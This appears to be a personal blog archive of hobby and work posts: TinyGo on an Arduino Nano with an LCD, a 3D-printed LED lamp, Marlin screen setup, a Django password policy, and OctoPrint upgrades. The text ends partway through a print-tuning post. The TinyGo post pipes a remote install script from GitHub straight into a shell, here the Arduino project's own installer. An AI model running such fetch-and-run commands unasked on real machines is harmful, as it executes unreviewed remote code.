Alex Volkov | website

TinyGo intro

2023-10-17T00:00:00-04:00

Update 2023-11-25. I got some technical feedback in this mastodon thread, so I updated my post based on it.

Introduction

I went through a Go tutorial back in February and discovered the TinyGo project, which supports running a subset of Go on microcontrollers. It's similar to MicroPython, but this project appears to support a wider variety of hardware, including the Arduino Nano, which I have.

In this article I'll describe how to set up TinyGo build environment for Arduino Nano on Debian 11.

Getting started

I followed these articles about getting started with Go and reference pinout on Arduino nano

For the host system, the setup involves installing the TinyGo and Avrdude packages:

$ wget https://github.com/tinygo-org/tinygo/releases/download/v0.30.0/tinygo_0.30.0_amd64.deb
$ sudo apt install -y ./tinygo_0.30.0_amd64.deb
$ sudo apt install -y avrdude

To test the toolchain I tried running the "hello world" of embedded systems -- blinking an onboard LED (Tinygo Lesson 0).

Unfortunately, I encountered a few issues when trying to use the tinygo flash subcommand, resulting in this error:

$ tinygo flash -target=arduino-nano main.go
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 1 of 10: not in sync: resp=0x00
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 2 of 10: not in sync: resp=0x00

It appears there are some problems with code integration under the hood, so I tried running individual steps for building and uploading. To manually run the upload step, I had to install arduino-cli using the following command:

curl -fsSL \
    https://raw.githubusercontent.com/arduino/arduino-cli/master/install.sh \
    | sh

I tried again, this time using tinygo build followed by arduino-cli upload. This sequence of commands triggered a code path that detects and installs any missing Arduino dependencies.

$ tinygo build -scheduler=tasks -target=arduino -o test.hex ./main.go
$ arduino-cli upload -b arduino:avr:nano -p /dev/ttyUSB0  -i test.hex .
Downloading missing tool builtin:ctags@5.8-arduino11...
builtin:ctags@5.8-arduino11 downloaded
Installing builtin:ctags@5.8-arduino11...
Skipping tool configuration....
builtin:ctags@5.8-arduino11 installed
Downloading missing tool builtin:serial-discovery@1.4.0...
builtin:serial-discovery@1.4.0 downloaded
Installing builtin:serial-discovery@1.4.0...
Skipping tool configuration....
builtin:serial-discovery@1.4.0 installed
Downloading missing tool builtin:mdns-discovery@1.0.8...
builtin:mdns-discovery@1.0.8 downloaded
Installing builtin:mdns-discovery@1.0.8...
Skipping tool configuration....
builtin:mdns-discovery@1.0.8 installed
Downloading missing tool builtin:serial-monitor@0.13.0...
builtin:serial-monitor@0.13.0 downloaded
Installing builtin:serial-monitor@0.13.0...
Skipping tool configuration....
builtin:serial-monitor@0.13.0 installed

Although this didn't fix the original error caused by running tinygo flash, it brought me closer to a solution. Later on, I found an issue describing a workaround in Issue #1580 of TinyGo project

$ tinygo build -scheduler=tasks -target=arduino-nano-new -o test.hex ./main.go
$ arduino-cli upload -b arduino:avr:nano -p /dev/ttyUSB0  -i test.hex .

Where /dev/ttyUSB0 is the port used by Arduino Nano. Sometimes the board jumps between /dev/ttyUSB0 and /dev/ttyUSB1 when being repeatedly reconnected.

1602 display

I also happened to have a 1602 display and TinyGo happened to have a library for it. So I ran a few sample programs that use the display.

Hello, World

Now that I could upload code to the board, I followed the Displaying text on an HD44780 16x2 display tutorial for connecting the display over I2C and used the tinygo hd44780i2c drivers.

package main

import (
    "machine"
    "tinygo.org/x/drivers/hd44780i2c"
)

func main() {
    i2c := machine.I2C0
    i2c.Configure(machine.I2CConfig{})

    lcd := hd44780i2c.New(machine.I2C0, 0x27)
    lcd.Configure(hd44780i2c.Config{
        Width:  16,
        Height: 2,
    })
    lcd.Print([]byte(" Hello, world\n LCD 16x02"))
}

Additional external dependencies are required to run the application. The command to download the dependencies is go mod init .

Everything worked, "Hello, World" displayed on the screen.

Here's the same message with visible wiring for HD44780 16x2 display.

Spinner

Then I used another sample program for the screen, a spinner.

package main

import (
    "machine"
    "strconv"
    "time"
    "tinygo.org/x/drivers/hd44780i2c"
)

func write_progress_spinner(d *hd44780i2c.Device, counter uint) {
    spinner_pos := "|/-\\"
    d.SetCursor(15, 1)
    pos := counter % uint(len(spinner_pos))
    d.Print([]byte(string(spinner_pos[pos])))
}

func main() {
    i2c := machine.I2C0
    i2c.Configure(machine.I2CConfig{
        Frequency: machine.TWI_FREQ_400KHZ,
    })
    lcd := hd44780i2c.New(machine.I2C0, 0x27)
    lcd.Configure(hd44780i2c.Config{
        Width:  16,
        Height: 2,
    })
    lcd.Print([]byte("Counting: "))
    var counter uint = 0 // only goes to 512
    for true {
        time.Sleep(250 * time.Millisecond)
        lcd.SetCursor(10, 0)
        strconv.FormatUint(uint64(counter), 10)
        lcd.Print([]byte(strconv.FormatUint(uint64(counter), 10)))
        write_progress_spinner(&lcd, counter)
        counter += 1
    }
}

One issue I encountered, as the error displayed in the image below -- this supposed to be a backslash symbol. I tried different escape sequences for the backslash, but none of them worked.

It could be that the snippet above has bugs in it, or there have been issues reported with the combination of LLVM implementation for the Go compiler and Arduino Nano. The TinyGo project recommends using Raspberry Pico.

Counter

Another example program I've tried is counter, just counting up the numbers. Here's source code:

package main

import (
    "machine"
    "strconv"
    "tinygo.org/x/drivers/hd44780i2c"
)

func main() {
    i2c := machine.I2C0
    i2c.Configure(machine.I2CConfig{})

    lcd := hd44780i2c.New(machine.I2C0, 0x27)
    lcd.Configure(hd44780i2c.Config{
        Width:  16,
        Height: 2,
    })
    lcd.SetCursor(0, 0)
    lcd.Print([]byte("Counting: "))
    var counter = 0
    for true {
        if (counter % 100 == 0){
            lcd.SetCursor(0, 1)
            lcd.Print([]byte(strconv.Itoa(counter)))
        }
        counter += 100
    }

}

Reset during count

I used to have an issue where where the Arduino board would reset at random intervals when counting up. I tried debugging the issue by displaying only every 100th number to see if this might be an issue with the library or some kind of integer overflow error, but no luck. Sometimes the counter would go up to 10,000 or 20,000; other times, the counter would reset almost immediately.

Update 2023-11-25. This issue has been resolved by setting this parameter -target=arduino-nano-new for the build command and this parameter -b arduino:avr:nano for the upload command. i.e.

$ tinygo build -scheduler=tasks -target=arduino-nano-new -o main_counter_nano.hex ./main_counter.go
$ arduino-cli upload -b arduino:avr:nano -p /dev/ttyUSB0  -i main_counter_nano.hex .

Explicit types

I tried setting explicit types, like uint16, but in the end I got following error.

$ tinygo build -scheduler=tasks -target=arduino -o main_counter.hex ./main_counter.go
error: interp: ptrtoint integer size does not equal pointer size

Update 2023-11-25. This has been fixed as of 2023-11-03

Now tinygo display potential overflow when trying to print uint16 directly.

package main

import (
    "fmt"
    "machine"
    "tinygo.org/x/drivers/hd44780i2c"
)

func main() {
    i2c := machine.I2C0
    i2c.Configure(machine.I2CConfig{})

    lcd := hd44780i2c.New(machine.I2C0, 0x27)
    lcd.Configure(hd44780i2c.Config{
        Width:  16,
        Height: 2,
    })
    lcd.SetCursor(0, 0)
    lcd.Print([]byte("Counting: "))
    var counter uint16 = 0
    for true {
        if counter%100 == 0 {
            lcd.SetCursor(0, 1)
            lcd.Print([]byte(fmt.Sprintf("%v", counter)))
        }
        counter += 100
    }

}

tinygo:ld.lld: error: section '.text' will not fit in region 'FLASH_TEXT': overflowed by 11286 bytes
tinygo:ld.lld: error: section '.text' will not fit in region 'FLASH_TEXT': overflowed by 11356 bytes
tinygo:ld.lld: error: section '.text' will not fit in region 'FLASH_TEXT': overflowed by 11386 bytes
tinygo:ld.lld: error: too many errors emitted, stopping now (use --error-limit=0 to see all errors)
failed to run tool: ld.lld
error: failed to link /tmp/tinygo2493042965/main: exit status 1

As silly as this is, converting uint to int the following compiles. This is rather silly as internally Arduino Uno stores ints and 16 bit value, so I might as well drop using uint16 and just use int or uint.

package main

import (
    "machine"
    "strconv"

    "tinygo.org/x/drivers/hd44780i2c"
)

func main() {
    i2c := machine.I2C0
    i2c.Configure(machine.I2CConfig{})

    lcd := hd44780i2c.New(machine.I2C0, 0x27)
    lcd.Configure(hd44780i2c.Config{
            Width:  16,
            Height: 2,
    })
    lcd.SetCursor(0, 0)
    lcd.Print([]byte("Counting: "))
    var counter uint16 = 0
    for true {
            if counter%100 == 0 {
                    lcd.SetCursor(0, 1)
                    lcd.Print([]byte(strconv.Itoa(int(counter))))
            }
            counter += 100
    }

}

This code compiles With the following parameters

$ tinygo build -scheduler=tasks -target=arduino-nano-new -o main_counter_nano.hex ./main_counter.go

Conclusion

Learning a new programming language is exciting, but it also means that I don't have all the knowledge about debugging the specific toolchain. In addition, working on a platform that I'm not familiar with doesn't help; there are just too many unknowns.

I should probably get one of the better supported boards and try this again. At least then I will know for sure if I'm making an error.

Update 2023-11-25 Rasberry Pi Pico, a board of choice for tiny go and many similar projects, seem to be widely availabe now. I was able to order a coupe for $4 CAD a piece from a local distributor.

3D-printed DIY LED light

2021-09-12T00:00:00-04:00

Summary

I think I just went through the exercise when anyone who buys a 3d-printed and seriously gets into CAD software does -- design his own lamp.

I built my video light, because this is what I'm using it for.

Here's the video of the assembly process

DIY LED COB 3d-printed lamp on youtube

Here's the brief walk trough the source code.

DIY LED COB 3d-printed lamp openscad design walkthrough on youtube

Design & Source Code

I worked on the project on and off, rewriting the design once, and learning a lot of things in-between, so it has some old openscad paradigms, like removing cubes from cubes; and some of the more recent things -- like using primitives from NopSCADlib.

Here is the source code for the lamp -- https://github.com/avolkov/openscad-designs/tree/master/video-light

Print files with descriptions on prusaprinters -- https://www.prusaprinters.org/prints/75338-diy-100w-led-cob-video-light

Print files with descriptions for the articulated mount on prusaprinters -- https://www.prusaprinters.org/prints/75428-articulated-mount-for-light-stand-bracket

All of my code is is under Attribution-ShareAlike 4.0 International (CC BY-SA) https://creativecommons.org/licenses/by-sa/4.0/.

The original bowens mount is under Creative Commons attribution license, made by hasherdk and can be found here -- https://www.thingiverse.com/thing:3824025

BOM

Hardware

4x M8 40mm bolts
4x M8 nuts
2x M3 10mm bolts for mounting handle
2x M3 30mm bolts for 12v power module
2x M3 35/40mm bolts for led driver
4x M3 nuts for holders of power modules
2x M5 14/16mm bolts for attaching articulater mount
2x M5 nuts for attaching articulated mount

Electrical

1x 100W LED COB
1x 100W LED COB driver (I got 40W one by mistake)
1x 100W LED Aluminium heat sink with 80mm fan and 60 degree 44mm lens, with bolts for mounting lens and light COB.
2x Latching toggle switch
1x 12v DC power supply (I sacrificed a 12V 1A wall wart from a long-dead external hard drive)
1x 5x7 Prototyping board
3x JST 2-pin male connector
3x JST 2-pin female connector
1x 2-wire extension cord
2x 3-contact wago connector

3D printing material

Bowens mount is made out of ABS
Shell is made out of PLA. Always turn on a fan or the shell will melt.

Conclusions and updates

Making this was fun. When I tried out the lamp it turned out to be pretty useful, but I found the following things that can be improved

Ground the heat sink. It's only 36V 1.5A, but safety first.
Replace extension cord 2-wire cable with a proper IEC 320 C14 socket, that would also bring a ground wire into the shell
Wiring for the led cob should be routed better
Fan should be either automatically regulated or always on, I already forgot to turn it on once and it almost melted the case.
Using PWM regulators between LED driver and COB may let me adjust light intensity

What I learned setting up Reprap Discount Smart Controller

2021-07-01T00:00:00-04:00

ReprapDiscount Full Graphic Smart Controller install on youtube

References

Discount Full Graphic Smart Controller Marlin variables

I've been working with Marlin 1.1.8 configuration starting from scratch and it took surprising amount of effort to find the correct variables to enable the screen.

This particular screen is used on Creality Ender 3, so it might have been easier to look at their default marlin config.

The video above goes in other details what dependencies Arduino IDE needs in order to compile screen config, but as far as Marlin setup is concerned, all it takes is defining the following two variables in configuration Configuration.h

#define REPRAP_DISCOUNT_FULL_GRAPHIC_SMART_CONTROLLER
#define SDCARD

Smart Controller box

I could not detach the plastic knob from the rotary encoder stick.

Instead of using force and possibly breaking knob, encoder, screen or all of the above; I redesigned the smart controller box to have a bigger opening for so the whole knob would fit through it.

This may not look as neat as the original design, but it works.

Design files

Original ReprapDiscount Full Graphic Smart Controller Box in OpenSCAD box

Modified ReprapDiscount Full Graphic Smart Controller Box (top part)

wildcard prefix

Reading the code for the box for the controller, * wildcard character as a prefix is used to disable the following statement, or as the documentation refers to it, entire subtree.

In the snippet below only lcdbox_top() is executed.

lcdbox_top();
*lcdbox_bottom();
*lcdbox_knob();
*translate([0,(nut_m3[0]+stable_wall*2)/2+1,0]) lcdbox_mount();
*translate([0,-extrusion_width/2-1,0]) lcdbox_mount_bottom();

30-degree screen mount

I wanted to have a single printer part mount for the screen at 30 degrees that would fit more-or-less snug into a 2020 slot using the the hardware I have. This design needs an extra 10mm M5 bolt and an M5 T-nut.

I've been using the screen in this configuration for a few months and I haven't felt any need to adjust its angle. I believe the design serves its purpose.

The part above was printed with 0.5mm nozzle at 0.3mm Z height using PETG.

Design files

Polygon & linear extrude

To go beyond just using primitive solids in openscad, polygon and linear_extrude come really handy.

In the case of screen leg holder, I used this to create a protrusion that goes into 2020 Alu profile channel. First create a shape that fits into profile gap, I measured some of the Bear Upgrade printed parts, with the height of 2mm base of the shape 8mm and the top of 4mm.

polygon(points=[[0,0], [2,1.5], [2, 6.5], [0, 8]]);

Then extruding that shape in Z direction usingl linear_extrude will produce a 40mm-long section that will fit into the aluminium extrusion.

linear_extrude(40)
    polygon(points=[[0,0], [2,1.5], [2, 6.5], [0, 8]]);

The resulting part fits in ALU slot profile with some play, before M5 bolt is fully tightened. I need to adjust the tolerances to make it fit snugly when tightening the bolt, but what I have is definitely usable.

Django config for implementing a password policy

2021-04-21T00:00:00-04:00

Intro

I needed to added some password checks from the security department for the website I develop using Django 3.0 created with django-cookiecutter.

The authentication set up in such a way that there is no signup for admin account, all accounts are created manually by the superuser. The user password activation and reset email is already handled by django-allauth.

The most of the password compliance rules are already built-in and enabled by default in Django, but there are several that are not, two in particular are covered in this article:

Password complexity enforcement.
Forcing the user with admin access to reset password, if the password has been set by site admin (superuser) when the user account was created.

As convention, I will use <project> as a placeholder for project name, that would also serve as a root folder for the file paths.

Password Complexity enforcement

To enable default password validation from the relevant documentation [1] the following was added to the <project>/config/settings/base.py

AUTH_PASSWORD_VALIDATORS = [
    {
        'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
        'OPTIONS': {
            'min_length': 8,
        }
    },
    {
        'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
    }
}

The requirements, however went a little bit further and outlined the need to confirm that the password contain an upper case, lower case and a number. The working implementation was the following:

from django.core.exceptions import ValidationError
from django.utils.translation import gettext as _


class DigitLowerUpperValidator:
    password_requirements = _(
        "The password must to contain at least one digit, lower case and "
        "upper case letter"
    )

    def validate(self, password, user=None):
        # number in string
        if not any(c.isdigit() for c in password):
            raise ValidationError(self.password_requirements)
        # lower in string
        if not any(c.islower() for c in password):
            raise ValidationError(self.password_requirements)
        # upper in stirng
        if not any(c.isupper() for c in password):
            raise ValidationError(self.password_requirements)

    def get_help_text(self):
        return _(
            "The password must contain at least one upper case, "
            "lower case letter and at least a digit")

I prefer placing this code under project site directory as it relates to user, authentication and the site settings <project>/users/password_validation.py. I added the full class path as a password validator in AUTH_PASSWORD_VALIDATORS

 AUTH_PASSWORD_VALIDATORS = [
     {
         'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
     },
     {
         'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
         'OPTIONS': {
             'min_length': 8,
         }
     },
     {
         'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
     },
     {
         'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
     },
     {
         'NAME': '<project>.users.password_validation.DigitLowerUpperValidator',
     },
 }

Forcing password reset

This project already has custom user fields through AbstractUser, so I added a new user flag and overrode set_password logic by adding onto this existing customization.

It is much easier to set up AbstractUser at the beginning of the project [2], if you already using something else, switching to using AbstractUser implementation is somewhat involved [3]

Adding fields & logic to AbstractUser implementation

The existing implementation is located directly in the site namespace <project>/users/models.py. Base implementation would be similar to this:

from django.contrib.auth.models import AbstractUser

class User(AbstractUser):

    def get_absolute_url(self):
        return reverse("users:detail", kwargs={"username": self.username})

I need to add a property for keeping track of the state if the user has set the password themself, it could be as simple as adding boolean variable for the model, but if I ever get a requirement to use expiration date, everything would be much easier if I set this field as a date, allowing it to be nullable, as this is an optional feature.

Then whenever the password is set by the user, the expiration field should be set to None [4]

from django.contrib.auth.models import AbstractUser
from django.db import models

class User(AbstractUser):

    expiration = models.DateTimeField(null=True)

    def get_absolute_url(self):
        return reverse("users:detail", kwargs={"username": self.username})

    def set_password(self, raw_password):
        self.expiration = None
        self.save()
        super().set_password(raw_password)

Then I added auto-generated migration and applied them.

$ python manage.py makemigrations
$ python manage.py migrate

Catching User creation events with Signals

The only way I could catch user creation event by the superuser, was to implement a receiver signal from User class creation event. [5] This is where the flag is set to redirect the user upon login. In this case the expiration date is now.

This code is relevant to the user management and authentication, so I placed it in <project>/users/signals.py

import pytz

from datetime import datetime

from django.conf import settings
from django.db.models.signals import post_save
from django.dispatch import receiver

from .models import User

current_tz = pytz.timezone(settings.TIME_ZONE)

@receiver(post_save, sender=User)
def create_user_profile(sender, instance, created, **kwargs):
    if created:
        instance.expiration = datetime.now(current_tz)
        instance.save()

Verifying password change attribute with a middleware class

Finally a middleware class is added to verify that the user gets redirected to password change anytime they successfully logged in and try to access any of the admin pages. [6] The middleware is placed directly into site namespace <project>/middleware.py and checks expiration model property.

import pytz

from datetime import datetime
from django.http.response import HttpResponseRedirect
from django.conf import settings

from <project>.users.models import User


current_tz = pytz.timezone(settings.TIME_ZONE)


class AuthMiddleware:

    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        response = self.get_response(request)
        if not hasattr(response, 'url'):
            return response
        if type(request.user) is not User:
            return response
        if '/admin/' in response.url:
            if request.user.expiration is None:
                return response
            if request.user.expiration.astimezone(current_tz) < datetime.now(current_tz):
                return HttpResponseRedirect(redirect_to='/admin/password_change')
        return response

Then I added the middleware class to the MIDDLEWARE list in base.py

MIDDLEWARE = [
    "django.middleware.security.SecurityMiddleware",
    "whitenoise.middleware.WhiteNoiseMiddleware",
    "django.contrib.sessions.middleware.SessionMiddleware",
    "django.middleware.locale.LocaleMiddleware",
    "django.middleware.common.CommonMiddleware",
    "django.middleware.csrf.CsrfViewMiddleware",
    "django.contrib.auth.middleware.AuthenticationMiddleware",
    "django.contrib.messages.middleware.MessageMiddleware",
    "django.middleware.common.BrokenLinkEmailsMiddleware",
    "django.middleware.clickjacking.XFrameOptionsMiddleware",
    "<project>.middleware.AuthMiddleware"
]

Conclusion

I'm still looking for a more efficient way of implementing user expiration checking, that doesn't execute this middleware class on every request, something that could call only after user has been authenticated.

In the end, forcing the user to change the password turned out to be surprisingly complicated and there might be an easier way of making this work.

One caveat, is that the user is presented with the dialog, where they need to enter password again, which is somewhat annoying.

References

[1]	Enabling password validation in Django 3.0

[2]	Using a custom user model when starting a project

[3]	How to switch to a Custom Django User model mid-project

[4]	Trigger a user password change

[5]	How to Create DJango Signals

[6]	Writing your own middleware

Bear Upgrade custom parts

2021-04-09T00:00:00-04:00

Overview

This is a companion part to the series of videos on assembling Bear Upgrade on my Prusa MK2 clone.

All of the parts can be found in bear_upgrade_custom_parts repo

Custom and Non-standard Parts

dowel_pin

3d-printed dowel pin.

Model: stl, openscad

cable_guide

Cable guide for MK3 heated bed, where wiring goes through Y axis carriage.

Models: stl, openscad

rod_holder

Prusa i3 MK1-compatible rod holders for 340mm smooth rods from v 2.0.0

Model: stl

MKS GEN 1.4 2040 mount

This fully customizable mount adapts MKS GEN 1.4 to 2040 aluminum extrusion. I built this with Bear Upgrade in mind, but it should also mount anywhere. This mount also provides means of attaching two 5x7cm daughter boards at the back, cable management for the extruder, heated bed and misc wiring at the bottom, it supports a fan bank with up to 3x 40mm fans.

Twist-in cable clamp

This clamp seems to be the one that works best with my setup, as it gives some clearance for the wiring. I used 10x6mm version.

Project page -- Twist In Cable Clamp [2020 Aluminium Profile]

Tools

M3 socket driver bit

Handy for holding M3 nuts when mounting MKS GEN holder

Models: stl, openscad

Assembling Bear upgrade

2021-04-03T00:00:00-04:00

Overview

I had a homemade clone of Prusa i3 MK2 for a while, and it never worked exactly right. The design is somewhat dated and I have decent quality components in it, so I thought it would be a worthwhile to try and make a series of videos about it.

I've seen a lot of videos with assembly streams, but I still made mistakes that weren't covered there.

What I wanted to do is to make a video showing how assembly would work for someone who is not mechanical engineer, get stuck at some parts, made mistakes, figure out how to fix them and what are the consequences of making those mistakes, without making the video too boring.

This series of videos covers from initial frame to assembling all the axis. This series doesn't yet cover wiring and electronics.

Videos

Here's the Full playlist.

And here's a few introductory videos:

Here's the one where I assemble reference corner

Additional parts

Here's a companion list of all of the custom or non-standard parts I used during the build.

/blog/2021-04-03-bear-upgrade-custom-parts.html

Octoprint plugin troubleshooting: bed visualizer

2020-04-21T00:00:00-04:00

After updating octoprint to the newest version I've experience the problem with bed visualizer installing but not getting really installed and never showing up in the list of installed plugins in octoprint.

It took me a while to figure out where to look, especially because I upgraded my octopi system and didn't install it from scratch. Looking in the logs wasg a good place to start.

Octopi saves all the logs under this directory -- /home/pi/.octoprint/logs/ and the following files are of special interest:

octoprint.log

plugin_pluginmanager_console.log

Looking and pluginmanager while installing bed visualizer:

2020-04-02 01:54:15,987 > Building wheel for Bed-Visualizer (setup.py): finished with status 'done'
2020-04-02 01:54:15,989 > Created wheel for Bed-Visualizer: filename=Bed_Visualizer-0.1.12-py3-none-any.whl size=2516034 sha256=4ee31fc02087b26ed3b5f85a13addbc6989c28e94be1a7bab1351c619532dfc6
2020-04-02 01:54:15,989 > Stored in directory: /tmp/pip-ephem-wheel-cache-goviqro5/wheels/93/c7/cf/2acf99f698a9f1c452a6a9c3747c06b0f46ca92689388ccdd7
2020-04-02 01:54:15,990 > Successfully built Bed-Visualizer
2020-04-02 01:54:15,991 > Installing collected packages: Bed-Visualizer
2020-04-02 01:54:15,991 > Attempting uninstall: Bed-Visualizer
2020-04-02 01:54:15,992 > Found existing installation: Bed-Visualizer 0.1.13
2020-04-02 01:54:15,992 > Uninstalling Bed-Visualizer-0.1.13:
2020-04-02 01:54:15,993 > Successfully uninstalled Bed-Visualizer-0.1.13
2020-04-02 01:54:16,998 > Successfully installed Bed-Visualizer-0.1.12

Looking at octoprint.log:

  IMPORTANT: PLEASE READ THIS FOR ADVICE ON HOW TO SOLVE THIS ISSUE!

  Importing the numpy c-extensions failed.
  - Try uninstalling and reinstalling numpy.
  - If you have already done that, then:
  1. Check that you expected to use Python3.7 from "/home/pi/OctoPrint/venv/bin/python3",
   and that you have no directories in your PATH or PYTHONPATH that can
   interfere with the Python and numpy version "1.18.2" you're trying to use.
  2. If (1) looks fine, you can open a new issue at
   https://github.com/numpy/numpy/issues.  Please include details on:
   - how you installed Python
   - how you installed numpy
   - your operating system
   - whether or not you have multiple versions of Python installed
   - if you built from source, your compiler versions and ideally a build log

  - If you're working with a numpy git repository, try `git clean -xdf`
(removes all files not under version control) and rebuild numpy.

  Note: this error has many possible causes, so please don't comment on
  an existing issue about this - open a new one instead.

  Original error was: libf77blas.so.3: cannot open shared object file: No such file or directory

That's basically it, it seems that one of the shared libraries was marked as 'no longer required' and it got deleted during the upgrade.

Figuring out to which package lib77blas.so.3 and installing the dependency:

$ apt-file search libf77blas.so.3
libatlas3-base: /usr/lib/x86_64-linux-gnu/libf77blas.so.3
libatlas3-base: /usr/lib/x86_64-linux-gnu/libf77blas.so.3.10.3

# apt install libatlas3-base
The following additional packages will be installed:
  libgfortran5
The following NEW packages will be installed:
  libatlas3-base libgfortran5
0 upgraded, 2 newly installed, 0 to remove and 3 not upgraded.
Need to get 2,605 kB of archives.
After this operation, 12.3 MB of additional disk space will be used.
Do you want to continue? [Y/n]

Since then bed visualizer has been working successfully.

Happy printing!

Practial prints: rear bike light clip

2020-04-21T00:00:00-04:00

I've previously complained on mastodon about my broken read bike light, and how I manage to fix it with epoxy. The fix did not last for very long.

Luckily the part the clip seem to be a replaceable and not a part of housing as I feared. Here is the picture of all the pieces removed --

The clip itself seem to be a standard part and there is a model of it on thingiverse -- https://www.thingiverse.com/thing:14504

I printed mine with a rough settings in PLA, with 0.5mm nozzle at 0.4mm layer height and no supports, 3 shells and 15% infill.

In retrospect I should have added some supports, though I'm not going to print another copy that looks better because this one fits perfectly after I cleaned out the dirt where the clips is supposed to go.

The print also fits on the bike side.

This model was created in 2011 and there doesn't seem to be lots of users making that print, but it did help me save a light that I got for free at the conference 5 years ago. It's the sentimental value that really counts.

Upgrading from old version Octopi and Raspbian

2020-03-25T00:00:00-04:00

Intro

I currently run Octoprint 1.3.0 and would like to upgrade to OctoPrint 1.4.0. The latest version requires Python 3.6/3.7.

When I tried to upgrade to this version I've realized I still run Raspbian Jessie which only supports Python 3.4. I will have to upgrade Raspbian before I can upgrade OctoPrint.

I want to keep all of my current prints, but this update install Octoprint in a new virtual environment so plugins will not be preserved

Plugins

These are OctoPrint Plugins that I use:

Backup

The upgrade process should preserve upldated files metadata and any timelapses but I would like to take backup just in case.

First go to OctoPrint Settings -> Backup and Restore -> Create backup

I checked off off Exclude timelapses from backup just because I don't really care about preserving timelapses then click Create Backup Now.

After backup is created download the file to your local computer.

Raspbian Upgrade

Upgrading from Jessie (oldoldstable) is a two-step process first upgrade to Stretch (oldstable) then upgrade to Buster.

Add Stretch to /etc/apt/source.list repository

deb http://raspbian.raspberrypi.org/raspbian/ stretch main contrib non-free rpi
deb http://raspbian.raspberrypi.org/raspbian/ jessie main contrib non-free rpi

Add Stretch to raspi repository /etc/apt/sources.list.d/raspi.list

deb http://archive.raspberrypi.org/debian/ stretch main ui
deb http://archive.raspberrypi.org/debian/ jessie main ui

Before running an upgrade I highly recommend connecting raspberry pi via ethernet port if possible as each upgrade is 500MB it may take a while to download that data over flaky wifi connection.

Upgrade your system and restart the raspberry pi. Write down the new ip address if you're using ethernet interface instead of wifi. You can check your ip address with 'ifconfig' command.

# apt update
# apt dist-upgrade -y
# reboot

Once Debian Stretch is installed, I'm going to move the system to Buster. Edit the same file removing 'jessie' entry and replace it with 'buster'.

/etc/apt/source.list

deb http://raspbian.raspberrypi.org/raspbian/ stretch main contrib non-free rpi
deb http://raspbian.raspberrypi.org/raspbian/ buster main contrib non-free rpi

/etc/apt/sources.list.d/raspi.list

deb http://archive.raspberrypi.org/debian/ stretch main ui
deb http://archive.raspberrypi.org/debian/ buster main ui

Don't upgrade haproxy.cfg if asked as it is used to forward connections from port 80 to port 5000 on which OctoPrint python service runs.

If you updated the config anyway, move old configuration in place of the new one.

# cd /etc/haproxy
# mv haproxy.cfg.dpkg-old haproxy.cfg
# service haproxy restart

Run upgrade one more time and restart the system.

# apt update
# apt dist-upgrade -y
# reboot

Upgrade Octoprint

$ virtualenv -p python3 ~/OctoPrint/venv

Once venv is installed, activate it

$ source ~/OctoPrint/venv/bin/activate

Install the latest version of OctoPrint package

(venv) pi@octopi-12v:~/OctoPrint $ pip install OctoPrint

Old init scripts no longer work so OctoPrint will not start automatically without an updated to the system. Become root then go to /etc/systemd/system then download octoprint script into that directory and make it executable, enable octoprint service then restart the system.

$ sudo -i
# cd /etc/systemd/system
# wget https://raw.githubusercontent.com/foosel/OctoPrint/master/scripts/octoprint.service
# chmod 755 octoprint.service
# systemctl enable octoprint
# reboot

The system should now boot into newly updated octoprint.

Reinstalling plugins from command line

When attempting to reinstall plugins I keep getting errors in the web interface about raspberry pi being throttled because of low voltage on the system.

This has been happening for as long as I remember but I haven't had any stability issues, so I will install plugins from command line.

$ source ~/OctoPrint/venv/bin/activate
(venv)$ pip install https://github.com/jneilliii/OctoPrint-BedLevelVisualizer/archive/master.zip
(venv)$ pip install https://github.com/ntoff/OctoPrint-fanspeedslider/archive/master.zip
(venv)$ pip install https://github.com/imrahil/OctoPrint-NavbarTemp/archive/master.zip
(venv)$ pip install https://github.com/fabianonline/OctoPrint-Telegram/archive/stable.zip

Reboot the system

$ sudo reboot

I'm currently having some issues with plugin. It is likely Python 3 compatibility, I'm trying to figure that out.

Tweaking the first print layer

2020-03-24T00:00:00-04:00

Intro

This is a followup to my previous post Fixing the first layer when usual tweaks don't work. Where I describe issue of getting poor first layer print quality and the test I use check fixes I come up with.

I started working on this article first, however at the time I haven't found a solution for the problem I was trying to fix I sat on it for a while. Doing work described here, helped me come to a conclusion that something entirely different is wrong with my printer. I hope this could serve as a reference to someone who is looking at a print.

Test prints

I started off with the existing settings I had for E3D PLA filament and made some test prints to confirm the problem. I'm only mentioning settings for the first layer because that's the settings being tested.

#1

These are the original settings for the filament.

Nozzle temperature: 195C
Extrusion multiplier: 1.0
Nozzle height: default
Print speed: 15 mm/s^2
First layer width: 0.42
Part cooling fan 1st layer: 0%

I heard some clicking noise from the extruder during the print, which indicated that the motor had hard time pushing filament through the extruder. I should increase the nozzle temperature, and try to shrink the first layer to mitigate overlapping layers in the center of the print.

Print test #1. Click on the image for higher resolution
Top
Bottom

#2

Brought up the nozzle temperature to 225C, shrank the first layer width from 0.42 to 0.4.

Nozzle temperature: 225
Extrusion multiplier: 1.0
Nozzle height: same
Print speed: 15 mm/s^2
First layer width: 0.4
Part cooling fan 1st layer: 0%

The lines on the edges of each extrusion line (top view) indicate that the filament is too viscous and the nozzle temperature might be too hot. Shrinking extrusion with did nothing, so perhaps expanding it will fix overlapping layers at the bottom of the print, also increase the distance between heated bed and the nozzle.

Print test #1. Click on the image for higher resolution
Top
Bottom

#3

Brought down the nozzle temperature to 220C, increased the with of the first layer up to 0.45 and slightly increased the distance between heated bed and the nozzle.

Nozzle temperature: 220
Extrusion multiplier: 1.0
Nozzle height: slightly increase the distance between bed an nozzle
Print speed: 15 mm/s^2
First layer width: 0.45
Part cooling fan 1st layer: 0%

I checked the extrusion multiplier to verify the extrusion coefficient is correct, and turns out it wasn't. Even when the first layer is printed correctly all others in this case would be under-extruded.

Print test #3. Click on the image for higher resolution
Top
Bottom

#4

Increased extrusion multiplier to 1.14

Nozzle temperature: 220
Extrusion multiplier: 1.14
